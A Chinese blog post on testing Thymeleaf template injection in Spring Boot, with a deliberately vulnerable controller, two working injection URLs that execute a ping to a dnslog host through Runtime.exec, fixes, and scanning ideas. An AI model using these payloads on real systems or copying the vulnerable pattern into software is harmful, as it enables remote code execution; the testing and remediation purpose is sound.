spring boot Thymeleaf 模板注入 测试实践

Thymeleaf是用于Web和独立环境的现代服务器端Java模板引擎。类似与python web开发中的jinja模板引擎,Thymeleaf是spring boot的推荐引擎。

环境配置

实际测试发现跟Spring boot的版本有关,其默认自带的Thymeleaf版本有关。

spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5
spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9
spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.11

1.idea创建一个spring Initializer项目

pom.xml中引入有漏洞的版本

 <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.2.0.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>

  

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
<version>2.1.5.RELEASE</version>
</dependency>
<dependency>
<groupId>net.sourceforge.nekohtml</groupId>
<artifactId>nekohtml</artifactId>
<version>1.9.22</version>
</dependency>

  

创建TestController

@Controller
public class TestController {
    @GetMapping("/path")
    public String testPath(@RequestParam String lang){
        return lang;

    }

    @GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document) {
        System.out.println("Retrieving " + document);
    }

}

  

测试请求:

第一种:

http://127.0.0.1:8080/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22ping%20wwwss.ks4yd3.dnslog.cn%22).getInputStream()).next()%7d__::.x

  

第二种:

http://127.0.0.1:8080/doc/__$%7BT(java.lang.Runtime).getRuntime().exec(%22ping%20www.4whpgo.dnslog.cn%22)%7D__::.x

  

修复方案:

1. 设置ResponseBody注解

如果设置ResponseBody,则不再调用模板解析

如:

 @GetMapping("/path")
    @ResponseBody
    public String testPath(@RequestParam String lang){
        return lang;

    }

  

2. 设置redirect重定向

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url;

  

根据spring boot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值

3. response

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    log.info("Retrieving " + document); //FP
}

  

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析

 @GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document, HttpServletResponse response) {
        System.out.println("Retrieving " + document);
    }

  

思考:

知道漏洞paylaod,那么这种漏洞如何挖掘,如何自动化的扫描?

1.可以使用自动化参数污染成相关payload

2.对路径进行拆分,然后污染每个路径参数

posted @ 2021-02-07 15:18  妇愁者纞萌  阅读(502)  评论(0编辑  收藏  举报